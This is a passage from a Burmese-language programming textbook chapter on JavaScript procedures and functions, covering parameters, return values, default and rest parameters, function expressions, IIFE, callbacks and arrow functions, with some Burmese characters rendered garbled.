ရလဒ်dတွ  ထည့်dရးမdပးdတာ့ပါzူး။  ကိုယ်တိုင်စိတ်ကူးနဲ့  အရင်အdgoရှာeကည့်လုိက်ပါ။  ကိုယ့်စိတ်ကူး
အdgo မှန်မမှန် သိရo့ုိအတွက် အdgoမှန်ကို Console မှချdရးပြပီး နှိုင်းယှဉ်eကည့်လုိက်ပါ။
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ဆက်လက်ပြပီးdတာ့ Procedure နဲ့ Function လ့ုိdခါ်တဲ့ သdzာသzာဝ ဆင်တူပြပီး dနာက်ထပ် အdရးပါ
တဲ့ အdgခခံလုပ်dဆာင်ချက်dတွအdeကာင်း ဆက်eကပါမယ်။  Procedure  ဆိုတာဟာ Statement dတွကို
စုစည်းထားgခင်းပဲ  goစ်ပါတယ်။  ဒီလိုစုစည်းo့ုိအတွက်  တွန့်ကွင်း  အoွင့်အပိတ်ကို  အသံုးgပုeကdလ့ရှိပါ
တယ်။  လက်dတွ့အသံုးချကုဒ်ကို  တိုက်ရိုက်eကည့်ရင်  dခါင်းထဲမှာ  ပံုdoာ်ရ၊  gမင်eကည့်ရခက်dနမှာစိုးလို့
Pseudocode dလးတစ်ချ ို ့နဲ့ သdzာသzာဝပုိင်းကို အရင်ရှင်းgပချင်ပါတယ်။ ဒီလုိပါ -

 Pseudocode 
{
    let a = 1;
    let b = 2;
    print a + b;
}

ဒါဟာ Statement dတွကို စုစည်းလုိက်တဲ့ နမူနာ ကုဒ် Block dလးတစ်ခုပါပဲ။ ဒီလ့ုိ သ့ူအစုနဲ့သူ စုoွဲ့ထား
တဲ့ကုဒ် Block ကို အမည်တစ်ခု သတ်မှတ်dပးနိုင်ပါတယ်။

 Pseudocode 
add {
    let a = 1;
    let b = 2;
    print a + b;
}

add ဆိုတဲ့အမည်တစ်ခု သတ်မှတ်dပးလုိက်တာပါ။ အမည်သတ်မှတ်တဲ့အခါ ရိုးရိုး တန်oုိးတစ်ခုမဟုတ်zဲ
Procedure ဆိုတာ dပါ်လွင်dအာင် Keyword dလးထည့်dပးလုိက်ပါမယ်။
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 Pseudocode 
procedure add {
    let a = 1;
    let b = 2;
    print a + b;
}

Variable  dတွdeကညာပြပီးရင် လုိအပ်တဲ့dနရာမှာ အသံုးချနိုင်သလိုပဲ၊  အခုလုိ  Procedure  တစ်ခုdeကညာ
ထားမယ်ဆိုရင်  လုိအပ်တဲ့dနရာကdန အသံုးချနိုင်မှာပါ။  ဒီ  Procedure  dလးက နမူနာအရ  a  နဲ့  b  ကို
dပါင်းdပးတဲ့  Procedure  goစ်လ့ုိ  dနာက်ကို  a  နဲ့  b  dပါင်းo့ုိလုိရင်  ထပ်dရးoုိ့  မလုိdတာ့ပါzူး။  ဒီ
Procedure ကို dခါ်ယူအသံုးgပုလိုက်ယံုပါပဲ။ ဥပမာ အdနနဲ့ ဒီလုိdခါ်ရတယ်လ့ုိ gမင်eကည့်လုိက်ပါ –

 Pseudocode 
call add;    // 3

call Keyword  နဲ့  add Procedure  ကိုအသံုးgပုအလုပ်လုပ်dစလုိက်တဲ့အခါ  add Procedure  ထဲက
Statement  dတွ  တန်းစီအလုပ်လုပ်သွားလ့ုိ  3  ဆိုတဲ့တန်oုိးကို  ထုတ်doာ်gပသတာ  goစ်ပါတယ်။
Procedure   dတွ   Function   dတဟွာ သတ်မှတ်လုိက်ယံုနဲ့ အလုပ်မလုပ်dသးပါzူး။ dခါ်ယူအသံုးgပုdတာ့  
မှသာ အလုပ်လုပ်မှာ goစ်ပါတယ်။

dပးထားတဲ့နမူနာဟာ  ကdလးကလားdတာ့  ဆန်းလွန်းdနပါလိမ့်မယ်။  ဒီdနရာမှာ  နမူနာgပတဲ့  ကုဒ်က
လက်dတွ့  အသံုးဝင်/မဝင်  အဓိကမဟုတ်ပါzူး။  ရှင်းရှင်းလင်းလင်း  gမင်သင့်တဲ့  သdzာသzာဝကို  စ
ကတည်းက ရှင်းရှင်းလင်းလင်း gမင်ထားdစo့ုိအတွက်ပါ။ အခုဆိရုင် Procedure ဆိုတာzာလဲ ရှင်းသွားပါ
ပြပီ။  Procedure  ဆိုတာဟာ  Statement  dတွကို  စုစည်းအမည်dပးထားလ့ုိ လုိအပ်တဲ့dနရာမှာ gပန်လည်
အသံုးgပုနိုင်တဲ့ လုပ်dဆာင်ချက်များပဲ goစ်ပါတယ်။

Function  ဆိုတာလည်း  Procedure  တစ်မျ ို းပါပဲ။  Procedure  dတွက  ကြကိုတင်သတ်မှတ်ထားတဲ့
လုပ်dဆာင်ချက်dတွသာgoစ်ပါတယ်။  Function  dတရွဲ့  ထူးgခားချက်ကdတာ့  dပးလာတဲ့  တန်oုိးကို
လက်ခံပြပီး၊ အလုပ်လုပ်လ့ုိရလာတဲ့ ရလဒ်ကို gပန်dပးgခင်းပဲ goစ်ပါတယ်။ 
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 Pseudocode 
function add {
    let a = 1;
    let b = 2;
    print a + b;
}

ဒီတစ်ခါ Procedure မဟုတ်dတာ့ပါzူး။ Function goစ်သွားပါပြပီ။ ဒါdပမယ့်၊ Function ရဲ့သdzာသzာ
ဝ အမှန်goစ်တဲ့  dပးတဲ့တန်oုိးကို  လက်ခံတယ်ဆိုတဲ့  သdzာသzာဝ မပါdသးပါzူး။  ဒါdeကာင့် အခုလုိ
gပင်လုိက်ပါမယ်။

 Pseudocode 
function add (x, y) {
    let a = x;
    let b = y;
    print a + b;
}

ဒီတစ်ခါမှာ add ဆိုတဲ့ အမည်dနာက်ကdန ဝုိက်ကွင်းအoွင့်အပိတ်နဲ့ လက်ခံလုိတဲ့ တန်oုိးနှစ်ခု သတ်မှတ်
ထားပါတယ်။  x  နဲ့  y  goစ်ပါတယ်။  ဒီသdzာသzာဝကို  Function  Parameter    လ့ုိdခါ်ပါတယ်  ။  add
Function မှာ x နဲ့  y ဆိုတဲ့ Parameter နှစ်ခရုှိသွားတဲ့ သdzာပါ။ ဒါdeကာင့် ဒီ Function က x, y ဆိုတဲ့
တန်oုိးနှစ်ခုကို လက်ခံအလုပ်လုပ်နိုင်သွားပါပြပီ။ dခါ်ယူအသံုးgပုတဲ့အခါ ဒီလိုသံုးနိုင်ပါတယ်။

 Pseudocode 
call add(2, 3);    // 5

dစာdစာက  Procedure  လုိကြကိုတင်သတ်မှတ်ထားတဲ့  တန်oုိးdတွနဲ့  အလုပ်လုပ်တာ  မဟုတ်dတာ့zဲ
dပးလုိက်တဲ့ x တန်oုိး 2 နဲ့ y တန်oုိး 3 တို့ကိုအdgခခံပြပီး အလုပ်လုပ်တာ goစ်သွားပါပြပီ။ ဒီလို Function   ကို  
dခါ်ယူစဉ်မှာ  dပးလုိက်တဲ့  တန်oုိးdတွကိုdတာ့    Arguments    လ့ုိ  dခါ်ပါတယ်  ။  add ကို  dခါ်တဲ့အခါ
Arguments အdနနဲ့ 2 နဲ့ 3 တို့ကို dပးလုိက်တဲ့ဆိုတဲ့ အဓိပ္ပါယ်ပဲ goစ်ပါတယ်။
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တစ်ကယ်dတာ့ dခါ်သံုးတယ်ဆိုတာ dပါ်လွင်dအာင်  call Keyword  နဲ့  နမူနာgပတာပါ။ လက်dတွ့မှာ
ထည့်စရာလုိအပ်dလ့ မရှိပါzူး။ ဒါdeကာင့် နမူနာမှာ အသံုးgပုပံုနည်းနည်း dgပာင်းလုိက်ပါမယ်။ ဒီလုိပါ – 

 Pseudocode 
add(2, 3);    // 5

dနာက်ထပ် သတိgပုစရာ ကျန်ပါdသးတယ်။ ရလဒ်အdနနဲ့  5 ကို dတွ့gမင်ရတယ်ဆိုတာ Function ထဲမှာ
print a + b ဆိုတဲ့ Statement ရှိdနလ့ုိ dပါင်းgခင်းရလဒ်ကို ထုတ်doာ် gပသတာပါ။ Function တစ်ခု
ရဲ့ သdzာသzာဝgoစ်တဲ့ dခါ်ယူတဲ့အခါ ရလဒ် gပန်dပးတယ်ဆိုတဲ့သdzာ မဟုတ်dသးပါzူး။ ဒါdeကာင့်
အခုလုိ ထပ်ပြပီးdတာ့ gပင်လုိက်ပါဦးမယ်။ 

 Pseudocode 
function add (x, y) {
    let a = x;
    let b = y;
    return a + b;
}

ဒီတစ်ခါအသုံးgပုတဲ့  Keyword ကို Zရုgပုပါ။ return goစ်သွားပါပြပီ။ အဓိပ္ပါယ်ရ a + b ရလဒ်ကို gပန်dပး
မယ်ဆိုတဲ့  အဓိပ္ပါယ်goစ်သွားတာပါ။  a  + b  ရလဒ်ကို  ထုတ်doာ်gပသတာ မဟုတd်တာ့ပါzူး။  ဒါdeကာင့်
dခါ်ယူအသံုးgပုပံုgပုနည်းလည်း နည်းနည်း dgပာင်းသွားပါလိမ့်မယ်။ ဒီလုိပါ – 

 Pseudocode 
let result = add(2, 3);
result + 2;    // 7

add Function  ကို dခါ်ယူလုိက်တဲ့အခါ  Function  က dပါင်းgခင်းရလဒ်ကို  gပန်dပးထားလို့၊  gပန်ရလာတဲ့
ရလဒ်ကို result Variable ထဲမှာ ထည့်ထားလိုက်တာပါ။ ဒီနည်းရဲ့ အားသာချက်ကdတာ့ ဒီ Result ကို
doာ်gပယံုတင် မဟုတ်dတာz့ဲ ဆက်လက်ပြပီး လုိအပ်သလုိ အသံုးချသွားနိုင်gခင်းပဲ goစ်ပါတယ်။
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dနာက်ဆုံးတစ်ခုအdနနဲ့  Function  သတ်မှတ်စဉ်မှာ  ထည့်သွင်းခဲ့တဲ့  Parameter  dတဟွာ  Function  ရဲ့
Variable dတွပဲမုိ့လ့ုိ တိုက်ရိုက်အသံုးgပုနိုင်ပါတယ်။ ဒါdeကာင့် x နဲ့ y ကို a နဲ့ b ထဲ တစ်ဆင့်ခံ ထည့်မdန
dတာ့ပါzူး။ စလက်ခံကတည်းက a နဲ့  b အdနနဲ့ တိုက်ရိုက်လက်ခံလုိက်လ့ုိ ရပါတယ်။ ဒါdeကာင့် အခုလုိ
gပင်လုိက်ပါဦးမယ်။

 Pseudocode 
function add (a, b) {
    return a + b;
}

ဒါဆိုရင်dတာ့ မလုိအပ်dတာ့တဲ့ အဆင့်dတွdလျာ့သွားလ့ုိ ပုိရှင်းသွားပါပြပီ။ dပးလာတဲ့  Argument နှစ်ခုကို
a နဲ့ b အgoစ် လက်ခံပြပီးdပါင်းပြပီး ရလဒ်ကိုgပန်dပးတဲ့ Function တစ်ခုကို ရသွားgခင်းပဲ goစ်ပါတယ်။

Zဏနေန်းdလး  (၂)  ခုdပါင်းတာdလာက်ကdတာ့  Function  dတွ  Procedure  dတွ  မလုိအပ်dသးပါzူး။  ဒီ
အတိုင်းတိုက်ရိုက်dပါင်းလည်း ရတာပါပဲ။ ဒါdပမယ့် ရှုပ်dထွးတဲ့လုပ်dဆာင်ချက်dတွကို အခုလုိ Function
dတွ Procedure dတွအdနနဲ့ စုစည်းdရးoဲွ့ထားမယ်ဆိုရင် ထပ်ခါထပ်ခါgပန်dရးစရာမလုိတဲ့ အားသာချက်
ကို ရမှာပဲ goစ်ပါတယ်။

JavaScript  အပါအဝင်  Programming  Language  အများစုမှာ  Function  dရးသားနည်းတစ်နည်း၊
Procedure  dရးသားနည်း တစ်နည်းဆိုပြပီး ခွဲထားeကdလ့ မရှိပါzူး။ တစ်နည်းထဲပဲ ထားeကပါတယ်။ နှစ်
မျ ို းခွဲပြပီးdတာ့လည်း dခါ်မdနeကdတာ့ပါzူး။ နှစ်မျ ို းလံုးကိုခြခုံပြပီး Function လ့ုိပဲ dခါ်eကပါတယ်။ 

JavaScript Functions
အထက်မှာ နမူနာdရးgပခဲ့တဲ့  Pseudocode Function  dတွထဲက dနာက်ပုိင်းနမူနာdတွဟာ  JavaScript
Function  dရးထံုးနဲ့  ကိုက်ညီdနပြပီး  goစ်ပါတယ်။  Function  တစ်ခုdeကညာo့ုိအတွက်  function
Keyword ကိုအသံုးgပု deကညာရပါတယ်။ Function အမည်ကို မိမိနှစ်သက်ရာအမည်dပးနိုင်ပြပီး အမည်ရဲ့
dနာက်မှာ ဝုိက်ကွင်းအoွင့်အပိတ်နဲ့  Parameter  dတွ လုိက်ရပါတယ်။  Parameter  dတွမပါzဲ  Function
deကညာလုိရင်  ဝုိက်ကွင်းအoွင့်အပိတ်ကို  အလွတ်အတိုင်း  ထည့်dပးရပါတယ်။  မထည့်လ့ုိမရပါzူး။
Function ရဲ့ Statement dတွကိdုတာ့ တွန့်ကွင်း အoွင့်အပိတ်နဲ့ စုoွဲ့ပြပီး dရးသားdပးရမှာပဲ goစ်ပါတယ်။
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အကယ်၍ Function ကdန ရလဒ်ကို gပန်dပးလုိရင် return Keyword ကို အသံုးgပုနိုင်ပါတယ်။ Return
gပန်မdပးzဲdရးချင်ရင်လည်း ရပါတယ်။ နမူနာတစ်ချ ို ့ doာ်gပdပးလုိက်ပါတယ်။

 JavaScript 
function add(a, b) {
    return a + b
}

function circle(r) {
    const PI = 3.14
    return PI * r * r
}

function greet() {
    console.log("Hello, World!")
}

function sayHello(name) {
    console.log(`Hello ${name}`)
}

dရးသားထားတဲ့  Function dတွကို dခါ်ယူအသံုးgပုတဲ့အခါ Function အမည်နဲ့အတူ Arguments စာရင်း
ကို  ဝုိက်ကွင်းအoွင့်အပိတ်ထဲမှာ  ထည့်ပြပီး  dခါ်ယူနိုင်ပါတယ်။  Argument  မရှိရင်လည်း  ဝုိက်ကွင်း
အoွင့်အပိတ် အလွတ်ကို ထည့်dပးရပါတယ်။

 JavaScript 
add(7, 8) // 15
circle(3) // 28.26
greet()  // Hello, World
sayHello("Alice")  // Hello Alice

Function  ရဲ့အမည်dပးပုံdပးနည်းဟာ  Variable  dပးပံုdပးနည်းနဲ့  အတူတူပါပဲ။  စာလံုးအကြကီးအdသး
နှစ်သက်ရာ အသံုးgပုနိုင်ပြပီး  ကိန်းZဏနေန်းdတွလည်း ပါလ့ုိရပါတယ်။ ဒါdပမယ့် ကိန်းZဏနေန်းနဲ့  စလ့ုိမရသ
လုိ၊ Special Character dတွ Space dတွလည်း ပါလ့ုိမရပါzူး။ လုိအပ်ရင် Underscore ကိုအသံုးgပုနိုင်ပါ
တယ်။  Special  Character  dတွထဲက  ခြွခင်းချက်အdနနဲ့  $  သdက[တကိုdတာ့  လုိအပ်ရင်  ထည့်သွင်း
အသံုးgပုနိုင်ပါတယ်။
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return ကိုdတာ့  တစ်ချက်သတိgပုပါ။  Function  တစ်ခုဟာ  return နဲ့ရလဒ်ကို  gပန်dပးပြပီးရင်  သ့ူ
အလုပ် ပြပီးသွားပါပြပီ။ ဒါdeကာင့် return ရဲ့dအာက်မှာ ဆက်dရးထားတဲ့ ကုဒ်dတွ ရှိdနရင် အလုပ်လုပ်မှာ
မဟုတ်dတာ့ပါzူး။

 JavaScript 
function add(a, b) {
    console.log('Start adding')
    return a + b
    console.log('Done adding')
}

let result = add(1, 2)

နမူနာအရ Start adding ဆိုတဲ့စာကို doာ်gပမှာgoစ်ပြပီး a နဲ့ b dပါင်းgခင်းကို gပန်dပးလုိက်မှာပါ။ ဒါdပမယ့်
Done adding ဆိုတဲ့စာကို doာ်gပoို့ညွှန်eကားထားတဲ့ Statement ကdတာ့ အလုပ်လုပ်မှာ မဟုတ်dတာ့ပါ
zူး။ return နဲ့ တန်oုိးgပန်dပးပြပီးပြပီမ့ုိလို့ Function အလုပ်ပြပီးဆုံးသွားခဲ့ပြပီမို့လ့ုိပါ။

Default & Rest Parameters
Function  dတွကို  dခါ်ယူအသံုးgပုတဲ့အခါ၊  ပံုမှန်အားgoင့်၊  deကညာစဉ်က  သတ်မှတ်ခဲ့တဲ့  Parameter
အdရအတွက်အတိုင်းပဲ  Argument အdရအတွက်ကို အတိအကျdပးရပါတယ်။ ပုိdပးခဲ့ရင် ပုိသွားတာdတွ
ကို ထည့်သွင်းအလုပ်လုပ်မှာ မဟုတ်သလုိ၊ လုိသွားခဲ့ရင်dတာ့ မလုိလားအပ်တဲ့ အမှားdတွကို ကြကုံdတွ့ရပါ
လိမ့်မယ်။ 

function add(a, b) {
    return a + b
}

add(1, 2, 3, 4)   // 3
add(1)    // NaN

နမူနာအရ  add Function  ကိုdခါ်ယူတဲ့အခါ  Argument  နှစ်ခုdပးရမှာပါ။  ပုိdပးလိုက်တဲ့အခါ  ကျန်တဲ့
Argument dတွကို ထည့်သွင်းအလုပ်မလုပ်တာကို dတွ့ရမှာ goစ်ပါတယ်။ လုိသွားတဲ့အခါမှာdတာ့ a နဲ့  b
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နှစ်ခုမှာ b အတွက် တန်oုိးမရှိdတာ့လ့ုိ undefined goစ်သွားပါတယ်။ undefined နဲ့ ကိန်းZဏနေန်းကို
dပါင်းo့ုိကြကိုးစားလုိက်တဲ့အခါ NaN ကို gပန်ရdနလ့ုိ မှားdနပါပြပီ။

တစ်ချ ို ့  Programming Language dတွမှာဆိုရင် Argument အdရအတွက် မgပည့်zဲ လုိသွားရင် အလုပ်
မလုပ်zဲ  Error  goစ်ပါတယ်။  JavaScript  မှာ  Error  dတာ့မgoစ်ပါzူး။  ဒါdပမယ့်  သတ်မှတ်ထားတဲ့
Argument  gပည့်စုံမှပဲ  ရလဒ်အမှန်ကို  ရမှာပါ။  ဒီdနရာမှာလုိအပ်ရင်  Default  Parameter  Value  ကို
သတ်မှတ်dပးထားနိုင်ပါတယ်။ ဒီလုိပါ –

 JavaScript 
function add(a, b = 0) {
    return a + b
}

add(1, 2)    // 3
add(1)    // 1

Parameter သတ်မှတ်စဉ်မှာ b = 0 လ့ုိdgပာထားတဲ့အတွက် b မှာ Default Value ရှိသွားပါပြပီ။ ဒါdeကာင့်
b  အတွက်  Argument  မပါလာခဲ့ရင် ဒီ  Default Value  ကို  အသံုးgပုပြပီးdတာ့  အလုပ်လုပ်dပးသွားမှာပါ။
ပါလာခဲ့ရင်dတာ့ ပါလာတဲ့ Argument တန်oုိးကို အသံုးgပုdပးသွားမှာ goစ်ပါတယ်။

JavaScript  မှာ  Rest  Parameter  ဆိုတာရှိပါdသးတယ်။  ပါလာသမျှ  Argument  တန်oုိးအားလံုးကို
လက်ခံdပးနိုင်တဲ့ Parameter ပါ။ ဒီလိုdရးရပါတယ်။

 JavaScript 
function add(a, b, ...c) {
    console.log(c)
}

add(1, 2, 3, 4, 5)    // [3, 4, 5]

နမူနာအရ a, b နဲ့ c Parameter သံုးခုရှိပြပီး c ကို ...c ဆိုတဲ့ Rest Parameter dရးထံုးနဲ့ dရးသားထား
ပါတယ်။ ဒါdeကာင့် ပုိတဲ့ Argument အားလံုးကို c က လက်ခံထားdပးမှာပါ။ နမူနာမှာ add Function ကို
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dခါ်တဲ့အခါ  Argument (၅) ခုdပးထားပါတယ်။ ပထမ Argument က a goစ်သွားပြပီး ဒုတိယ Argument
က b goစ်သွားပါတယ်။ ကျန် Argument (၃) ခုကdတာ့ c ထဲကို အကုန်dရာက်သွားတယ် ဆိုတာကို dတွ့
ရမှာပဲ goစ်ပါတယ်။

Function Expressions
Function တစ်ခု deကညာလုိက်တယ်ဆိုတာဟာ Statement တစ်ခု တည်dဆာက်လုိက်တာပါပဲ။ ထူးgခား
ချက်ကdတာ့  JavaScript  မှာ  Function  dတွကို  Expression  လ့ုိလဲ သdzာထား အသံုးgပုနိုင်ပါတယ်။
ဥပမာ - 1 + 2 ဆိုတဲ့ Expression ကို Variable တစ်ခုထဲမှာ Assign လုပ်လုိက်လ့ုိ ရသလုိပဲ Function ကို
လည်း Variable တစ်ခုထဲမှာ Assign လုပ်လုိက်လုိ့ ရနိုင်ပါတယ်။ ဒီလိုပါ –

 JavaScript 
let greet = function greeting() {
    console.log("Hello, World")
}

ဒါdeကာင့်  greet Variable  ထဲမှာ  Function  တစ်ခdုရာက်ရှိသွားပါပြပီ။  အ့ဲဒီ  greet Variable  ထဲက
Function ကို အလုပ်လုပ်dစချင်ရင် အခုလုိ dခါ်ယူdပးလ့ုိ ရပါတယ်။

 JavaScript 
greet()    // Hello, World

ရိုးရိုး  Function Statement  ကိုအသံုးgပုdeကညာထားတဲ့  Function  ကို  dခါ်သလိုပဲ  dခါ်ရတာပါ။  ဒီလုိ
Function ကို Expression အdနနဲ့ အသုံးgပုတဲ့အခါ Function အမည်ကို မလုိအပ်ရင် မထည့်လ့ုိရပါတယ်။
ဒီသdzာသzာဝကို    Anonymous  Function    လ့ုိ  dခါ်ပါတယ်  ။  အမည်မဲ့  Function  မ့ုိလ့ုိ  Nameless
Function လ့ုိလည်း dခါ်eကပါdသးတယ်။ ဒီလုိပါ –

 JavaScript 
let greet = function () {
    console.log("Hello, World")
}
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dစာdစာက  ကုဒ်ပါပဲ။  function Keyword  ရဲ့dနာက်မှာ  Function  Name  မပါdတာ့တာပါ။  ဒီလုိ
Function Expression dတွကို အသံုးgပုပြပီးdတာ့ dရးလ့ုိရတဲ့ IIFE dခါ် Immediately Invoked Function
Expression dရးနည်းတစ်မျ ို းလည်း ရိှပါdသးတယ်။ ဒီလုိပါ –

(function () {
    console.log("Hello, World")
})()

// Hello, World

a + b Expression ကို လုိအပ်ရင် ဝုိက်ကွင်းအoွင့်အပိတ်ထဲမှာ (a + b) လ့ုိ ထည့်dရးနိုင်သလိုပဲ Function
Expression  ကိုလည်း  ဝုိက်ကွင်းအoွင့်အပိတ်ထဲမှာ  ထည့်လုိက်တာပါ။  ပြပီးdတာ့မှ  dနာက်ကdန
dနာက်ထပ်  ဝုိက်ကွင်းအoွင့်အပိတ်  တွဲdပးလုိက်တဲ့အခါ  ဒီ  Function  Expression  ကို  ချက်ချင်းdခါ်ယူ
အလုပ်လုပ်dစလုိက်တဲ့ သdzာgoစ်သွားပါdတာ့တယ်။

ပံုမှန်အားgoင့်  Function  ဆိုတာ  deကညာလုိက်ယံုနဲ့  အလုပ်မလုပ်ပါzူး။  dခါ်ယူအသံုးgပုdတာ့မှသာ
အလုပ်လုပ်တာပါ  IIFE  dရးထံုးကို  အသံုးgပုdရးသားထားတဲ့  Function  ကdတာ့  ချက်ချင်းdနရာတင်
အလုပ်လုပ်သွားတဲ့ Function တစ်ခုgoစ်သွားတာပါ။

Function Expression dတွကို dနာက်ထပ်အသံုးများတဲ့ နည်းတစ်ခုရှိပါdသးတယ်။ ဒီလုိပါ –

 JavaScript 
function twice(num, fun) {
    let result = fun(num)
    return result * 2
}

နမူနာ twice Function ကို dသချာZရုစိုက်eကည့်ပါ။ Parameter (၂) ခုပါဝင်ပါတယ်။ num နဲ့  fun တို့
ပါ။  num ဟာ Number goစ်ရမှာgoစ်ပြပီး၊  fun ကdတာ့ Function goစ်ရမှာပါ။ ဒါdeကာင့် twice ကိုdခါ်
ယူတဲ့အခါ dပးရမယ့် တန်oုိးအမျ ို းအစားdတွက ဒီလုိgoစ်ပါလိမ့်မယ်။
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twice(Number, Function)

Number dတွအတွက် နှစ်သက်ရာ Number တန်oုိးdပးနိုင်ပြပီး Function အတွက် Function Expression
တစ်ခုကို dပးနိုင်ပါတယ်။ ဒါdeကာင့် အခုလုိ dခါ်ယူအသံုးနိုင်ပါတယ်။

 JavaScript 
twice(5, function(x) {
    return x + 1
})

num အတွက်  5  ကိုdပးထားပါတယ်။  fun အတွက်  x  ကို  1  တိုးdပးတဲ့  Function  ကိုdပးထားပါတယ်။
မူလ twice Function နဲ့ gပန်တွဲပြပီးeကည့်ပါ။

function twice(num, fun) {
    let result = fun(num)
    return result * 2
}

လက်ရှိ num = 5 goစ်ပါတယ်။ ဒါdeကာင့် fun(5) ပါ။ fun ရဲ့ x = 5 goစ်သွားပါပြပီ။ 1 တိုးပြပီး gပန်dပး
တဲ့အတွက် 6 ကိရုပါတယ်။ result = 6 goစ်သွားပါပြပီ။ ပြပီးdတာ့မှ result ကို 2 နဲ့ dgမှာက်dပးလုိက်
တာ goစ်လ့ုိ dနာက်ဆုံးရလဒ် 6 * 2 = 12 ကို ရမှာပဲ goစ်ပါတယ်။

ဒီနည်းနဲ့  Function  ကို dခါ်ယူအသုံးgပုစဉ်မှာ  Function Expression ကို  Argument  အdနနဲ့ ထည့်သွင်း
dပးနိုင်gခင်းgoစ်ပါတယ်။  ဒီသdzာသzာဝကို    Callback    လ့ုိdခါ်ပါတယ်  ။  Function  တစ်ခုကို  dခါ်ယူစဉ်
မှာ ဒီ Function ကို ထပ်ဆင့် gပန်dခါ်သံုးdပးပါလို့ dgပာလို့ရသွားတာပါ။ အစီအစဉ်အတိုင်း၊ အစဉ်အလုိက်
အလုပ်လုပ်တာ မဟုတ်dတာ့လ့ုိ မျက်စိdတာ့ လည်သွားနိုင်ပါတယ်။ dနာက်တစd်ခါက်dလာက် gပန်eကည့်
eကည့်လိုက်ပါ။  တစ်ခါdလာက်  dသချာgမင်သွားပြပီဆိုရင်dတာ့  dနာင်ဒီသdzာသzာဝကို  dတွ့တိုင်း
အလွယ်တကူ gမင်သွားပါလိမ့်မယ်။
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ဒီနည်းကdပးတဲ့  အားသာချက်ကdတာ့  JavaScript  Function  dတွဟာ  ကြကိုdရးထားတဲ့အတိုင်း  ပံုdသ
မဟုတ်dတာz့ဲ dခါ်ယူချနိ်မှာ လုိအပ်သလုိ dgပာင်းလဲအလုပ်လုပ်dစနိုင်တဲ့  Function dတွ goစ်သွားdတာ့
တာပါပဲ။ ဥပမာ - dစာdစာက twice Function ကို အခုလုိလည်း dခါ်ယူနိုင်မှာ goစ်ပါတယ်။

 JavaScript 
twice(5, function(x) {
    return x * x
});

// 50

dပးလုိက်တဲ့ num တန်oုိးမdgပာင်းပါzူး။ 5 ပါပဲ။ ဒါdပမယ့် ရလဒ်dတာ့ လံုးဝdgပာင်းသွားပါပြပီ။ zာgoစ်လ့ုိ
လဲဆိုdတာ့ dခါ်သံုးo့ုိdပးလုိက်တဲ့ Callback Function ရဲ့အလုပ်လုပ်ပုံ dgပာင်းသွားတဲ့ အတွက်deကာင့်ပါ။

တစ်ကယ်dတာ့ JavaScript Function dတွရဲ့ သdzာသzာဝဟာ ကျယ်gပန့်လှပါတယ်။ Function တစ်
ခရုဲ့  အတွင်းမှာ  ထပ်ဆင့်ရှိdနတဲ့  Nested  Function  dတရွဲ့  သdzာသzာဝdတွ၊  Closure  လ့ုိdခါ်တဲ့
ထူးgခားတဲ့  Variable  Scope  သdzာသzာဝdတွ၊  Recursive  Function  သdzာသzာဝdတွ၊  this
Keyword  Binding  လ့ုိdခါ်တဲ့  ရှုပ်dထွးတဲ့  ကိစ္စdတွ  ကျန်ပါdသးတယ်။  ဒါdပမယ့်  ဒီအဆင့်မှာ  အ့ဲဒီ
အdeကာင်းdတွdgပာo့ုိdတာ့  dစာdနပါdသးတယ်။  ဒါdeကာင့်  လကရ်ှိdgပာထားသdလာက်နဲ့  ဆက်dgပာ
မယ့်  သdzာသzာဝdတွကို  အရင်dကျညက်နားလည်dအာင်  eကည့်ထားပြပီး  dနာက်ပုိင်းမှာ  ဒီထက်ပုိ
ဆန်းကျယ်တာdတွ ဆက်dလ့လာoုိ့ ကျန်dနdသးတယ်လို့ မှတ်သားထားdပးပါ။

Arrow Functions
ဆက်လက်ပြပီး  Function  Expression  dတွကို  အတိုdကာက်dရးနည်းရှိလ့ုိ  ဆက်eကည့်eကပါမယ်။
Function Keyword အစား Arrow သdက[တdလးနဲ့ အစားထုိးပြပီး dရးရလ့ုိ Arrow Function လ့ုိ dခါ်eက
ပါတယ်။ ပံုမှန်  Function Expression  တစ်ခုကို  Variable  တစ်ခုမှာ  Assign  လုပ်လုိတဲ့အခါ ဒီလုိdရးရပါ
တယ်။



PWD 2022 – အခန်း (၁၅) – JavaScript Procedures & Functions 249

 JavaScript 
let add = function(a, b) {
    return a + b
}

ဒါကို အတိုdကာက်အားgoင့် အခုလုိ dရးနိုင်ပါတယ်။

 JavaScript 
let add = (a, b) => {
    return a + b
}

ဝုိက်ကွင်းအoွင့်အပိတ်dရှ့မှာ function မပါdတာ့zဲ ဝုိက်ကွင်းအoွင့်အပိတ်dနာက်မှာ Arrow => dလး
ထည့်လိုက်တာပါ။  Arrow  Function  ရဲ့  ထူးgခားချက်ကdတာ့၊  Statement  တစ်ခုထဲဆိုရင်  တွန့်ကွင်း
အoွင့်အပိတ်နဲ့  return Keyword  ကို  မထည့်zဲ ထားလ့ုိရgခင်းပဲ  goစ်ပါတယ်။ ဒါdeကာင့် အခုလုိ  goစ်
သွားမှာပါ။

 JavaScript 
let add = (a, b) => a + b

dတာ်dတာ်dလးကို  တိုdတာင်းကျစ်လစ်တဲ့  dရးဟန်တစ်ခုgoစ်သွားတာမ့ုိလ့ုိ  အလွန်ကြကိုက်eကပါတယ်။
dနာက်တစ်ချက်အdနနဲ့ Parameter တစ်ခုထဲဆိုရင် ဝုိက်ကွင်းအoွင့်အပိတ်ကို မထည့်zဲdရးလ့ုိရပါတယ်။
ပုိတိုသွားဦးမှာပါ။ ဒီလိုပါ –

 JavaScript 
let two = n => n * 2

ဟိုးdရှ့မှာdgပာခဲ့သလုိ  ကုဒ်dတွရဲ့  အလုပ်လုပ်ပံုကို  dခါင်းထဲမှာ  ပံုdoာ်eကည့်နိုင်oုိ့  အdရးကြကီးလှပါတယ်။
တိုလွန်းလ့ုိ  ပံုdoာ်eကည့်ရ  ခက်သွားမှာစိုးလ့ုိ  ရိုးရိုး  Function  နဲ့  နှိုင်းယှဉ်စဉ်းစားနိုင်o့ုိ  doာ်gပခဲ့တာပါ။
လုိရင်းအချုပ် (၃) ချက်မှတ်ရင် ရပါပြပီ။
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1. ဝုိက်ကွင်းအoွင့်အပိတ်dရှ့က  function ကိုoယ်ပြပီး  ဝုိက်ကွင်းအoွင့်အပိတ်dနာက်မှာ  =>
သdက[တ dလး ထည့်dပးလုိက်ပါတယ်။

2. Function မှာ Statement တစ်deကာင်းzရဲှိရင် တွန့်ကွင်းအoွင့်အပိတ်နဲ့ return ကို မထည့်zဲ
dရးလုိ့ရပါတယ်။ အလိုအdလျှာက် return gပန်dပးပါတယ်။

